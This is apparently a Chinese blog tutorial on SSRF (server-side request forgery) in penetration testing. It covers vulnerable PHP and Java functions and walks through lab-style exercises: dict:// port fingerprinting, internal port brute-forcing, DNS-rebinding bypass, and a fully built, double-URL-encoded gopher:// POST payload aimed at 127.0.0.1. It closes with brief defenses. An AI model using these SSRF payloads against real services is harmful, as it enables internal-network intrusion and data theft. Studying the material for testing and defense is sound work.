渗透测试之SSRF漏洞

本文详细介绍了SSRF漏洞的原理、在在线服务中的常见场景,如翻译、图片下载等,列举了php和Java中的漏洞函数,并展示了利用伪协议进行内网探测和攻击的实例。同时,文章总结了如何通过寻找传参点、判断回显和尝试不同协议来挖掘漏洞,并提出了设置IP白名单和禁止特定协议作为防御措施。
摘要由CSDN通过智能技术生成

SSRF(服务端请求伪造漏洞)由于服务端提供了从其他服务器应用获取数据的功能,但又没有对目标地址做严格的过滤与限制,导致攻击者可以传入任意地址来让后端服务器对其发起请求,并返回对该目标地址请求的数据。

漏洞场景:在线翻译、转码服务、图片的加载与下载、图片文章的收藏功能、社交分享(数据请求要想另一个服务器发起)

功能点:参数传的是一个url(形如:?url=http://abc.com/1.jpg) 除url外敏感的参数还有share、wap、link、src、source、target比参数名更重要的是看参数值是否为一个url地址。

漏洞函数:php中file_get_content()、fsockopen()、fopen()、curl_exec()、curl()、read_file()

java中HttpClient、OKHTTP()、HTTPRequest

漏洞函数的一般特点是会发起请求

SSRF漏洞实战

1、发现功能点

将地址更改为www.baidu.com发现有回显的访问

如果是不回显的,可以访问到自己部署的服务器看是否有请求,或dnslog平台

利用SSRF可以进行内网的探测,伪协议上传从而getshell

(伪协议读取文件)

dict://127.0.0.1:80伪协议可以看到目标端口的指纹信息

1、找到传参点,看是否有回显

2、apache的默认网站目录var/www/html/flag.php

(端口扫描)

1、找到传参点,看是否有回显

2、获取到信息后根据提示(8000-9000)端口,抓包进行爆破。爆破得到一个长度不同的包,找到flag

(DNS重绑定Bypass)

1、输入访问文件地址,发现被禁掉

2、重定向dns

将127.0.0.1改为如下图,访问拿到flag

(POST请求)

抓一个post包为构造gopher(这里要在源代码中添加提交按钮)

1、构建gopher协议请求包,请求包的内容有(post host(127.0.0.1:80)content-type content-length以及key值)

2、把请求包进行url编码

POST%20%2fflag.php%20HTTP%2f1.1%0AHost:%20127.0.0.1:80%0AContent-Type:%20application%2fx-www-form-urlencoded%0AContent-Length:%2036%0A%0Akey=b06fe6c4a10ae58176ee2b520c927017

3、把编码后的内容里面所有%0A编码为%0D%0A(\r变为\r\n)

POST%20%2fflag.php%20HTTP%2f1.1%0D%0AHost:%20127.0.0.1:80%0D%0AContent-Type:%20application%2fx-www-form-urlencoded%0D%0AContent-Length:%2036%0D%0A%0D%0Akey=b06fe6c4a10ae58176ee2b520c927017

4、进行url编码形成payload

POST%2520%252fflag.php%2520HTTP%252f1.1%250D%250AHost:%2520127.0.0.1:80%250D%250AContent-Type:%2520application%252fx-www-form-urlencoded%250D%250AContent-Length:%252036%250D%250A%250D%250Akey=b06fe6c4a10ae58176ee2b520c927017

5、再参数传入点赋值发送请求(?url=gopher://127.0.0.1:80/_payload)

url=gopher://127.0.0.1:80/_POST%2520%252fflag.php%2520HTTP%252f1.1%250D%250AHost:%2520127.0.0.1:80%250D%250AContent-Type:%2520application%252fx-www-form-urlencoded%250D%250AContent-Length:%252036%250D%250A%250D%250Akey=b06fe6c4a10ae58176ee2b520c927017

总结一下SSRF挖掘漏洞

1、寻找传参点url,如?url=http://xxxx,并且结合业务功能点一起判断,如转载,在线翻译等

2、判断SSRF有无回显

3、尝试SSRF哪些协议可以使用

4、dict协议用于探测端口指纹信息,gopher协议可以发送get或post请求,file协议可以用于文件读取

SSRF的防御

1、设置IP白名单

2、禁止不需要的协议(如gopher、dict)

  • 19
    点赞
  • 16
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值